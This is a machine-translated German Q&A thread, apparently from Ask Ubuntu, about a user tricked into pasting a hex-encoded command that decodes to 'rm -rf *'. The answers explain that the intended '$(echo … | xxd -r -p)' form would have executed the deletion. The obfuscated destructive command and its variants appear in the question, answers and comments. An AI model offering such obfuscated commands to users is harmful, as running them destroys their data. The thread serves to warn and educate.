Ich wurde dazu verleitet, einen Befehl einzufügen. Hat es mir wehgetan?

129

In einem Online-Forum sagte jemand (ich schätze nur, um mit mir zu trollen), er gebe dies in das Terminal ein:

(echo 726d202d7266202a | xxd -r -p)

FÜGEN SIE DIES NICHT EIN, WEIL ICH NICHT WEISS, WENN ES ETWAS SCHÄDIGT.

Es gab dies im Terminal zurück:

rm -rf *ryanmcclure@RyansLinuxBox:~$

Hat dies etwas gelöscht? Ich frage mich, weil ich gehört habe, rm -rf *dass dieser schreckliche Befehl alles löscht.

Bearbeiten: Nur damit jeder, der dies liest, es merkt, wurde mir gesagt, dass ich dies eingeben soll, um eine ASCII-Kunstanimation im Terminal zu sehen. Seien Sie gewarnt, dass dies der Trick ist, der mich zum Narren gehalten hat.

Ryan McClure
quelle
40
Sehr wahrscheinlich der beabsichtigte Befehl des Angreifers wurde $(echo ... etc)das würde alles gelöscht hat - die $(...)Mittel „diesen Befehl ausführen, erfassen seinen Ausgang und führen Sie das als Befehl“. Um es sicher in Aktion zu sehen, können Sie versuchen $(echo ls)- es führt die Ausgabe von aus echo ls, das lsheißt, es wird ausgeführt ls.
3
Ja, wer hat dir das große Versagen gegeben, weil du keine Ahnung hast, wie du die Shell dazu bringen kannst, mehr zu tun, als den String zu dekodieren.
ewanm89
53
Sieht so aus, als wäre Ihr Betriebssystem fast ... / sonnenbrillenlos ... verhext. YEAHHhhhh ...
JoeFish
11
Jetzt ist es an der Zeit, Backups von allem
anzufertigen
16
Sie haben also einen Befehl aus einer unsicheren Quelle kopiert und eingefügt, ihn aber falsch eingegeben? Zum Glück machen manchmal zwei Fehler das Richtige. =)
Rakslice

Antworten:

157

Nein, es hat nichts getan - es ist nur ein enger Anruf.

Die Klammer weist bash (die Shell) an, den Inhalt in einer Subshell auszuführen (was irgendwie sinnlos ist). Der ausgeführte Befehl echo 726d202d7266202a | xxd -r -pgibt lediglich den folgenden Text auf dem Bildschirm aus: "rm -rf *". Wenn es hat ausgeführt , dass der Text als Befehl - anstatt nur den Text auf den Bildschirm ausgegeben wird - würden Sie in Schwierigkeiten. Lassen Sie dies trotzdem eine kostenlose Lektion sein, um keine Befehle aus dem Internet auszuführen, die Sie nicht verstehen.

Michael Kropat
quelle
6
Macht das rm -rf * ohne root sowieso nichts?
badp
32
@badp Das tut es. Es löscht alles im aktuellen Verzeichnis,
dh
2
@badp Selbst wenn es so wäre /, würde sich die Rekursion irgendwann herumsprechen /homeund dann /home/$USERNAME, und dann würde sowieso alles gehen. Davor sollte es allerdings viele Fehler vom Typ "Permission Denied" geben.
Izkata
16
Ist eigentlich rm -rf /in einem speziellen Gehäuse untergebracht, sodass ein bestimmter Befehl auf modernen Linux-Systemen nicht schädlich ist. es ist , rm -rf *dass schwerer Schaden verursachen wird , weil es wahrscheinlich all Ihre persönlichen Daten löschen werden , die nicht nur das Betriebssystem weit mehr wert ist.
Jeremy Bicha
7
Eigentlich ist es ziemlich interessant, was passiert, wenn man rm -rf /als root läuft . Jemand hat es in einer virtuellen
Maschine
90

Im Sinne von "Es ist besser, einem Mann das Fischen beizubringen, als ihm einen Fisch zu geben" rate ich Ihnen, das Terminal man xxdeinzugeben (und ja, ich bin noch eine andere Person, die Sie auffordert, etwas in das Terminal einzugeben ... Sie sollten den manBefehl jedoch als sicher erkennen.

Wenn Sie nicht mit vertraut sind echo, sollten Sie das auch überprüfen . Grundsätzlich gibt der von Ihnen aufgeführte Befehl die Zeichenfolge in der Standardausgabe wieder.

Die Pipe |leitet diese Standardausgabe jedoch an die Standardeingabe des xxdBefehls weiter, die in diesem Fall so eingestellt ist, dass eine Zeichenfolge in hexadezimaler Form in eine regulär formatierte Eingabe konvertiert wird.

Die kurze Antwort lautet also: Nein, es wurde nichts gelöscht. Aber es hallte rm -rf *von deinem Bildschirm wider , was dich ein bisschen erschreckt haben muss :-)

Chan-Ho Suh
quelle
2
Ich hasse es, wenn ich zwei großartige Antworten bekomme, aber ich muss es Michael geben, einfach weil er dich um eine Minute geschlagen hat. :( Aber diese Antwort ist immer noch gut! Ich sollte mich wahrscheinlich mit dem Echo vertraut machen ... :)
Ryan McClure
7
Bevor Sie blind Befehle eingeben, die im Internet auf Ihrem Computer gefunden wurden, sollten Sie immer zumindest ein Gefühl dafür haben, was der Computer tut. Wenn ein Befehl auf den ersten Blick zu lang ist, |teilen Sie ihn mit -symbolen auf. Überprüfen Sie in der Tat immer die Handbuchseite, wenn Sie den Befehl nicht kennen. Es wird Sie vor solchen Menschen schützen und Sie werden jedes Mal ein bisschen lernen.
Hippie
3
Der manBefehl ist möglicherweise der einzige, der sowohl im Terminal als auch in einem Internetbrowser das gleiche Ergebnis liefert.
Wahrhaftigkeit
7
Aber beachte: man $(rm -rf *)ist genauso tödlich.
unperson325680
1
Um ehrlich zu sein, denke ich nicht, dass das Lesen der Manpages für xxd für jeden sehr hilfreich ist, der noch keine besonderen Kenntnisse in der Verwendung der Shell besitzt. Ich bezweifle wirklich, dass das OP hätte bestimmen können, ob dieser Befehl tatsächlich Schaden angerichtet hat, indem es den Mann gelesen hat, ohne viel mehr Arbeit. Ich stimme zu, dass es eine gute Idee ist, zu wissen, was ein Befehl tut, bevor Sie ihn eingeben, und sich zu erkundigen, ob Sie ihn nicht herausfinden können. Tatsächlich ist eines meiner Lieblingsprobleme in den "offiziellen" Ubuntu-Foren, dass es zu viele zufällige Ratschläge gibt, um eine magische Beschwörung von Leuten, die keine Ahnung haben, in das Terminal einzugeben.
Marty Fried
34

Der Angreifer wollte Sie wahrscheinlich $(echo 726d202d7266202a | xxd -r -p)in Ihre Shell einfügen lassen . xxd würde 726d202d7266202a dekodieren rm -rf *, was dann ausgeführt würde.

xn.
quelle
17
Ich vermute, er (das Opfer) hat das $
Ausgelassen
1
Oder vielleicht war er doch kein sehr böser Kerl ...: D
user3490458
1

Wenn Sie sich Sorgen machen, dass jemand Ihr Dateisystem kribbelt, chrootsteht Ihnen dies zur Verfügung. chroot /random/directoryFühren Sie dann den Befehl heck out aus.

PnotNP
quelle
18
Es wäre hilfreich zu erklären, was Chroot in diesem Fall tut oder impliziert. Andernfalls wird hier ein anderer Befehl eingegeben ... gefunden im Internet ...
Michael Durrant
Es ist auch eine gute Idee, es in so etwas wie einem Docker-Container laufen zu lassen, aber das wäre übertrieben (aber nur für den Fall ...)
Joshumax,
Es ist immer möglich, zurück zu chrooten (oder einfach die chroote Shell zu verlassen). Das könnte in der Angriffsnutzlast enthalten sein.
Zenexer